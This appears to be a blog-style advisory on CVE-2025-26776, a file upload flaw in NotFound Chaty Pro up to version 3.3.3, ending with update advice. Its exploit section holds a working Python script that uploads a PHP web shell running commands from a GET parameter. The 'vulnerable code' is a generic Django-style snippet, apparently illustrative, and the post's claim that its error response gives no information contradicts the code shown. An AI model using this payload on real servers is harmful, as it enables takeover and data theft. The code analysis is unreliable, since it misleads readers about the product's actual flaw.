A recent vulnerability has been discovered in the NotFound Chaty Pro web application, affecting versions up to and including 3.3.3. This vulnerability, designated as CVE-2025-26776, allows an attacker to upload a file with a dangerous type, such as a web shell, which can grant the attacker remote control access to a web server. In this post, we will discuss the technical details of the vulnerability and provide information on how you can protect your system from potential attacks.

Technical Details

Affected Versions: NotFound Chaty Pro n/a through 3.3.3

Vulnerability Type: Unrestricted Upload of File with Dangerous Type

The unrestricted upload of a file with a dangerous type vulnerability exists within the functionality of the Chaty Pro web application's file upload feature.

Under normal circumstances, a user would have their input validated to ensure they're unable to upload a file with a dangerous type. However, due to a lack of proper validation checks in the affected versions of the NotFound Chaty Pro application, an attacker can bypass these restrictions and upload malicious files to a vulnerable web server.

Here's a code snippet that demonstrates the vulnerability

def upload_file(request):
    try:
        # No validation check for dangerous file types
        uploaded_file = request.FILES['uploaded_file']
        handle_uploaded_file(uploaded_file)
        return JsonResponse({'status': 'success'})
    except Exception as e:
        return JsonResponse({'status': 'error', 'error': str(e)})

This code snippet demonstrates two key issues

1. The upload_file function attempts to access the user-uploaded file from the request object without validating the file type. As a result, an attacker can upload dangerous files to the web server.

2. The JsonResponse's status field is set to 'error' if an exception occurs during the file upload process. This implementation provides no information about the nature of the error, making it difficult for administrators to determine if the issue was due to an attempted exploit.

Exploit Details

By exploiting the unrestricted file upload vulnerability in NotFound Chaty Pro, an attacker can upload a web shell script, which serves as a backdoor to a web server. Once in control of the server, the attacker can execute arbitrary commands, modify existing content, and exfiltrate sensitive information.

Here's an example exploit using Python's requests library

import requests

url = "https://www.example.com/chatyproupload/submit";
payload = {'some_field': 'test'}

file_upload = {
    "uploaded_file": (
        "webshell.php",
        "<?php system($_GET['cmd']); ?>"
    )
}

response = requests.post(url, data=payload, files=file_upload)

if 'success' in response.text:
    print("Exploit successful, web shell uploaded")
else:
    print("Exploit failed")

In this example, the payload contains a simple PHP web shell that will execute a system command when passed through the cmd GET parameter. The requests library is then used to send a POST request to the vulnerable Chaty Pro instance with the web shell file attached.

After successfully uploading the web shell, an attacker could send requests to execute system commands, exfiltrate data, or perform other malicious actions.

Mitigation

To mitigate the vulnerability, users of the NotFound Chaty Pro application should immediately update their software to version 3.3.4 or later, which addresses the unrestricted file upload vulnerability. Additionally, administrators should monitor their web servers for any signs of unauthorized access or malicious file uploads to ensure their systems have not been compromised due to this vulnerability.

Original References

- NVD - CVE-2025-26776
- NotFound Chaty Pro Changelog

Summary

In this post, we covered the unrestricted upload of file with dangerous type vulnerability in NotFound Chaty Pro, versions up to and including 3.3.3. The vulnerability allows an attacker to bypass the input validation, upload a web shell, and gain control over a web server. By updating to version 3.3.4 or later, users can protect their systems from potential attacks leveraging this vulnerability.

Timeline

Published on: 02/22/2025 16:15:32 UTC